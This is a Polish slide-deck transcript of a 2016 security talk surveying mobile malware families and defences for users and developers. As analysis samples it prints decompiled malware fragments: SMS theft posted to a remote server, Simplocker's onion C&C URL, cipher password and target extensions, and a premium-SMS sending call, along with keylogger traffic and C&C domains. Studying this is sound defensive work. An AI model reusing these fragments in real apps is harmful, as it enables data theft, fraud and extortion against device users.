możliwości złośliwego oprogramowania na platformy mobilne

77
Możliwości złośliwego oprogramowania na platformy mobilne Łukasz Bobrek SECURE 25.10.2016 (img: http://www.pcworld.com/article/2691668/report-huge-spike-in-mobile-malware-targets-android-especially-mobile-payments.html)

Upload: securing

Post on 15-Apr-2017

106 views

Category:

Software


1 download

TRANSCRIPT

Możliwości złośliwego

oprogramowania na

platformy mobilne

Łukasz Bobrek

SECURE 25.10.2016(img: http://www.pcworld.com/article/2691668/report-huge-spike-in-mobile-malware-targets-android-especially-mobile-payments.html)

O MNIE

Łukasz Bobrek

Specjalista ds. Bezpieczeństwa IT

Inżynieria wstecznego złośliwego oprogramowania na Androida

1. Wprowadzenie

2. Przykłady współczesnego malware

3. Możliwości złośliwego oprogramowania – podsumowanie

4. Co przyniesie przyszłość?

5. Zabezpieczenia (Antywirusy / Użytkownik / Programista)

AGENDA

WPROWADZENIE

Kontakty

SMS-y

Zdjęcia

Filmiki

Google

Facebook

Bankowość

(…)

~ 2 082 700 000 użytkowników urządzeń mobilnych

~ 3 970 000 aplikacji mobilnych

~ 1 062 177 000 użytkowników mobilnych aplikacji

bankowych

~ 550 000 000 0000 dolarów wydawanych w ciągu roku

poprzez płatności mobilne

PO CO ATAKOWAĆ APLIKACJE MOBILNE?

www.statista.com, Symantec

JAK ATAKOWAĆ URZĄDZENIA MOBILNE?

?

JAK ATAKOWAĆ URZĄDZENIA MOBILNE?

Inna aplikacja na urządzeniu

Podatności systemu

Kradzież, zgubienie urządzenia, przypadkowy dostęp, inna aplikacja...

Ataki na transmisję -podsłuch, słabości SSL

Social engineering,słabości użytkownikównp. słabe hasło, zbyt trudne mechanizmy

API – błędy kontroli dostępu, logiczne, konfiguracji...

Analiza paczki

ZAGROŻENIA

1. Fizyczna kradzież urządzenia

2. Złośliwe oprogramowanie

3. Podatności w aplikacjach mobilnych

~ 1 300 000 aplikacji mobilnych sklasyfikowanych

jako złośliwe oprogramowanie

~ 1 500 nowych próbek złośliwego

oprogramowania dziennie!

MALWARE

www.statista.com, Symantec

MALWARE

MALWARE

MALWARE - DYSTRYBUCJA

• Nieoficjalne sklepy z aplikacjami

• Phishing, socjotechnika, reklamy – instalacja niezaufanych aplikacji

• Zainfekowane stacje robocze

• Wykorzystanie podatności systemowych (stagefright, iOS remote JB)

• Oficjalne sklepy z aplikacjami

PACZKA APLIKACJI - ANDROID

• AndroidManifest.xml

• Skompilowany kod źródłowy (dex)

• Szablony, dane (xml)

• Grafika, multimedia

PACZKA APLIKACJI - iOS

• Plik binarny aplikacji

• Zasoby (grafika, video, HTML…)

• embeded.mobileprovision

• _CodeSignature

ANALIZA STATYCZNA

ANALIZA STATYCZNA

Pliki .plistZasoby (grafika, certyfikaty….)Pliki wykonywalne aplikacji (.app)„Provisioning files”

Zabezpieczenia binarne (PIE, ARC, Stash Smashing)Class dumpURL Handlers

ANALIZA DYNAMICZNA

ANALIZA DYNAMICZNA

ANALIZA DYNAMICZNA

• Analiza funkcjonalności dostępnych w aplikacji

• Sprawdzenie logów oraz cache zapisywanych przez aplikację

• Sprawdzenie jakie aplikacja uruchamia procesy oraz jakie pliki są przez nią zapisywane

• Obserwacja ruchu sieciowego generowanego przez aplikację

• Analiza IPC (ang. inter-proces communication)

• Weryfikacja poprawności konfiguracji SSL

• Testy API serwera aplikacji

PRZYKŁADY ZŁOŚLIWEGO OPROGRAMOWANIA

SMS PREMIUM

Historycznie pierwszy rodzaj złośliwego oprogramowania na platformy mobilne:

• Fake Player (2010) – 300 000 instalacji

• Scavir

• FakeInst

• Mkero

SMS PREMIUM

<?xml version="1.0" encoding="utf-8"

standalone="no"?>

<manifest

xmlns:android="http://schemas.android.com/apk/res/a

ndroid"

package="org.me.androidapplication1">

(…)

</application>

<uses-permission

android:name="android.permission.SEND_SMS"/>

</manifest>

SMS PREMIUM

public void onCreate(Bundle var1) {super.onCreate(var1);TextView var6 = new TextView(this);var6.setText("Нажмите ок для доступа к видеотеке");this.setContentView(var6);SmsManager var7 = SmsManager.getDefault();try {var7.sendTextMessage("3353", (String)null, "798657",

(PendingIntent)null, (PendingIntent)null);} catch (Exception var5) {Log.e("Oops in playsound", "", var5);}

(M)AdWare

Adware – sposób dystrybucji aplikacji, w którym źródłem dochodów są reklamy.

MadWare – „agresywne” wyświetlanie reklam mających na celu skłonienie użytkownika do instalacji innego złośliwego

oprogramowania lub włączenia usługi SMS Premium.

AdWare

Przykłady:

• Durak (10 milionów pobrań z oficjalnego sklepu Google Play w roku 2015)

• Mobidash

• Plankton

• Mobango

• Muda (iOS)

DURAK

Malware działa „z opóźnionym zapłonem” dlatego nie został wykryty przez skaner Google Bouncer

{

"id" : "af70e9985-a73c-46d6-a24e-

a7e112748cf7",

"domains" : ["http://ad1.mads.bz/"],

"overapp" : true,

"overappStartDelaySeconds" : 86400,

"overappBannerDelaySeconds" :300

}

Fragment pliku ads_settings.json

DURAK

11-06 18:36:44.535: D/Microlog(3685): Microlog 85182:[DEBUG]-Hide ad11-06 18:36:44.545: D/Microlog(3685): Microlog 85192:[DEBUG]-try showLink11-06 18:36:44.550: D/Microlog(3685): Microlog 85194:[DEBUG]-screen is locked. wait for unlock

11-06 18:38:55.795: D/Microlog(3685): Microlog 216442:[DEBUG]-user present11-06 18:38:55.795: D/Microlog(3685): Microlog 216442:[DEBUG]-show pending link11-06 18:38:55.795: D/Microlog(3685): Microlog 216443:[DEBUG]-try showLink11-06 18:38:55.800: D/Microlog(3685): Microlog 216444:[DEBUG]-showLink11-06 18:38:55.830: D/Microlog(3685): Microlog 216476:[DEBUG]-Open url externalhttp://g77appx3.com

1. Telefon jest zablokowany

2. Telefon jest odblokowany

DURAK - DEMO

APLIKACJE SZPIEGUJĄCE

Aplikacje wysyłające wrażliwe informacje o użytkowniku bez jego wiedzy oraz świadomej

zgody na zdalny serwer, gdzie są przetwarzane w sposób dla niego szkodliwy.

APLIKACJE SZPIEGUJĄCE

Przykłady:

• Godwon

• SocialPath

• Android.HeHe

• Pegasus (iOS)

• FlexiSpy (iOS)

GODWONpublic class BootReceiver extends BroadcastReceiver {

TelephonyManager manager;

String originAddress = ""

(…)

if(var5.equals("android.provider.Telephony.SMS_RECEIVED")) {

SmsMessage[] var6 = this.getMessagesFromIntent(var2);

final StringBuilder var7 = new StringBuilder();

int var4 = var6.length;

for(int var3 = 0; var3 < var4; ++var3) {

SmsMessage var8 = var6[var3];

(…)

ToolHelper.postData("http://skytime.w65.1860asp.com/sms/saves.php", var1);

Log.e("tag", "result = " + var5);

}

GODWON

POST /saves.ashx HTTP/1.1User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; GT-N7000 Build/KTU84Q)Host: 204.11.56.48Connection: Keep-AliveAccept-Encoding: gzipContent-Type: application/x-www-form-urlencodedContent-Length: 59

smscontent=Tak%20działa%20złośliwe%20oprogramowanie%20wykradające%20d

ane%20użytkownik&sbid=48666555444&sign=key7974538k459945k45

KEYLOGGER

POST /swiftkey_keylogger/keypresses.php HTTP/1.1Host: www.android-app-development.ie(...)type=textinputevent&data=t

(...) type=textinputevent&data=e

(...)type=textinputevent&data=s

(...)type=textinputevent&data=t

http://www.apk-mania.com/2014/01/swiftkey-keyboard-v442254-apk_16.html

RANSOMWARE

Złośliwe oprogramowanie, które swoim działaniem utrudnia (lub uniemożliwia) korzystanie z urządzenia, a w celu jego odblokowania żąda zapłaty określonego okupu.

RANSOMWARE

RANSOMWARE

Przykłady:

• Simplocker

• Svpeng

• Small

• Fusob

FBILocker - DEMO

SIMPLOCKER

public class Constants

{

public static final String ADMIN_URL = "http://xeyocsu7fu2vjhxs.onion/";

public static final int CHECK_MAIN_WINDOW_TIME_SECONDS = 1;

public static final String CIPHER_PASSWORD = "jndlasf074hr";

public static final String DISABLE_LOCKER = "DISABLE_LOCKER";

public static final List<String> EXTENSIONS_TO_ENCRYPT = Arrays.asList(new

String[] { "jpeg", "jpg", "png", "bmp", "gif", "pdf", "doc", "docx", "txt",

"avi", "mkv", "3gp", "mp4" });

public static final String FILES_WAS_ENCRYPTED = "FILES_WAS_ENCRYPTED";

public static final int MONEYPACK_DIGITS_NUMBER = 14;

public static final int PAYSAFECARD_DIGITS_NUMBER = 16;

(…)

SIMPLOCKER - DEMO

BOTNET

Botnet to grupa urządzeń, które pozostają pod zdalną kontrolą serwera C&C i mogą zostać

wykorzystane do dowolnego celu (np. ataki typu DDoS, spam etc)

BOTNET

Przykłady:

• NotCompatible (4 miliony instalacji)

• SpamSoldier

• Ikee (iOS)

NOTCOMPATIBLE

public void onReceive(Context paramContext, Intent paramIntent)

{

if ("android.intent.action.BOOT_COMPLETED".equals(paramIntent.getAction())) {

paramContext.startService(new Intent(paramContext,

SecurityUpdateService.class));

}

if ("android.intent.action.USER_PRESENT".equals(paramIntent.getAction())) {

paramContext.startService(new Intent(paramContext,

SecurityUpdateService.class));

}

NOTCOMPATIBLE

1. Aplikacja odpytuje serwer C&C o nowe instrukcje

Serwery C&C:• Notcompatibleapp.eu

• 3na3budet9.ru

MALWARE NA APLIKACJE FINANSOWE

Warunki konieczne do wykonania ataku:

• Przejęcie kontroli nad bankową aplikacją mobilną

• Przechwytywanie wiadomości SMS wykorzystywanych jako dodatkowa autoryzacja

MALWARE NA APLIKACJE FINANSOWE

Przykłady:

• GMBot

• Zitmo

• FakeBank

• AceDeceeiver (iOS)

MALWARE NA APLIKACJE FINANSOWE

1. Przechwytywanie wiadomości SMS

MALWARE NA APLIKACJE FINANSOWE

2. Przejęcie kontroli nad bankową aplikacją mobilną

FAKEBANK

2. Przejęcie kontroli nad aplikacją mobilną

BK_ARRAY_LIST = new String[] { "nh.smart", "com.shinhan.sbanking",

"com.webcash.wooribank", "com.ATsolution.KBbank",

"com.hanabank.ebk.channel.android.hananbank" };

MY_BK_ARRAY_LIST = new String[] { "com.nh.android.smart",

"com.shinhan.android.shinhan.sh", "com.cashweb.wooribank",

"com.kbstar.kb.star","com.hana.ebk.channel.hanan" };

FAKEBANK

2. Przejęcie kontroli nad aplikacją mobilną cd

MALWARE ODBLOKOWUJĄCY URPAWNIENIA SYSTEMOWE

Architektura bezpieczeństwa zarówno iOS jak i Androida jest oparta na architekturze bezpieczeństwa Unix

MALWARE ODBLOKOWUJĄCY URPAWNIENIA SYSTEMOWE

Root/Jailbreak

Proces mający na celu usunięcie ograniczeń systemowych narzuconych przez system operacyjny

=

Zdobycie uprawnień administracyjnych

MALWARE ODBLOKOWUJĄCY URPAWNIENIA SYSTEMOWE

Malware + Root / Jailbreak

=

MALWARE ODBLOKOWUJĄCY URPAWNIENIA SYSTEMOWE

MALWARE ODBLOKOWUJĄCY URPAWNIENIA SYSTEMOWE

Przykłady:

• Gingerbreak

• Stagefright

• Godless

• DroidKungFu

• Pegasus (iOS)

GODLESS

• Czerwiec 2016

• Podatne są wszystkie urządzenia z Androidem 5.1 lub starszym (90% rynku)

• Około 900 000 instalacji

• Framework android-rooting-toolshttps://github.com/android-rooting-tools

libgodlike.so

GODLESS

PEGASUS

• Do przejęcia kontroli nad urządzeniem wystarczy nakłonić ofiarę do otwarcia specjalnej strony www

MOŻLIWOŚĆ ZŁOŚLIWEGO OPROGRAMOWANIA

1. Premium SMS

2. AdWare

3. Aplikacje szpiegujące

4. Ransomware

5. Botnet

6. Malware przeznaczony na aplikacje finansowe

7. Aplikacje odblokowujące uprawnienia systemowe

CO PRZYNIESIE PRZYSZŁOŚĆ?

CO PRZYNIESIE PRZYSZŁOŚĆ?

• Więcej ataków na bankowości mobilne

• Ataki na płatności zbliżeniowe HCE

• Rozwój czarnego rynku

• Ataki wykorzystujące nowe funkcjonalności

ASSIST API – FUNKCJONALNOŚĆ CZY MALWARE?

ASSIST API (Android 6.0) umożliwia aplikacji „Asystenta” dostęp do informacji aktualnie

znajdujących się na ekranie

ASSIST API – FUNKCJONALNOŚĆ CZY MALWARE?

ASSIST API – FUNKCJONALNOŚĆ CZY MALWARE?

POST /data/16032016-001403 HTTP/1.1

(…)

{

"data": {

"android.intent.extra.ASSIST_PACKAGE": "com.android.browser",

"android.intent.extra.ASSIST_UID": 10031 },

"content": {

"extras": {},

"intent": "intent:#Intent;action=android(…)

MOBILNE ANTYWIRUSY

MOBILNE ANTYWIRUSY

1. Bardzo niska skuteczność

2. Tylko statyczna analiza sygnatur(Brak analizy dynamicznej opartej o heurystyki)

3. Kompromis pomiędzy skutecznością, a wydajnością i czasem życia baterii

ZABEZPIECZENIA

ZABEZPIECZENIA - UŻYTKOWNIK

1. Unikaj instalowania aplikacji z niezaufanych źródeł !!!

2. Zawsze sprawdzaj z jakich uprawnień chce korzystać instalowana aplikacja

3. Aktualizuj system operacyjny

4. Monitoruj wydajności urządzenia mobilnego oraz czasu pracy baterii

5. Pamiętaj o kopiach zapasowych

ZABEZPIECZENIA - PROGRAMISTA

1. Nie używaj współdzielonych zasobów do przechowywania danych

2. Pamiętaj o odpowiednim ustawieniu uprawnień do plików aplikacji

3. Nie zapisuj w pamięci urządzenia wrażliwych danych (PIN, saldo etc…)

ZABEZPIECZENIA - PROGRAMISTA

4. W przypadku konieczności biznesowej zapisywania takich danych na urządzeniu,

użyj szyfrowania

5. Unikaj umieszczania kodów szyfrujących, kluczy i tokenów

w kodzie aplikacji

ZABEZPIECZENIA - PROGRAMISTA

6. Poinformuj użytkownika o tym że korzysta z urządzenia które ma roota/jailbreak

ZABEZPIECZENIA - PROGRAMISTA

7. Prawidłowo zabezpiecz URL-Handlers (iOS)

8. Poprawnie skonfiguruj

WebView

ZABEZPIECZENIA - PROGRAMISTA

5. Prawidłowo zabezpiecz Intenty (Android)

9. Nie używaj klawiatury systemowej do wprowadzania wrażliwych danych

10. Certificate Pinning

11. Device scoring

DEVICE SCORING

• Weryfikacja roota/JB

• Lista zainstalowanych aplikacji

• CA użytkownika

• Wersja systemu operacyjnego

• Analiza behavioralna

• (…)

devicekey:AD407F0797FDDEC0F5F5A3CA7ABB97E9BA7D5BA464DA0095DBAFFD3,config_update:1000,os.ver_up_to_date:0,os.rooted:0,os.rooted.native:0,os.rooted.hiders:0,malware.any:0,total.risk.generic:0

ZABEZPIECZENIA - PROGRAMISTA

Więcej:

• Aplikacje mobilne – podstawowe zalecenia w zakresie bezpieczeństwa

• Dla implementacji HCE:

https://www.securing.pl/wp-content/uploads/2015/06/Aplikacje-mobilne-podstawowe-zalecenia-w-zakresie-bezpieczenstwa.pdf

http://www.slideshare.net/wojdwo/demystifying-host-card-emulation-security-best-practices-for-implementing-secure-mobile-payments

KONIEC

WIĘCEJ NIŻ TESTY BEZPIECZEŃSTWA

[email protected]

Dziękuję,

zapraszam do kontaktu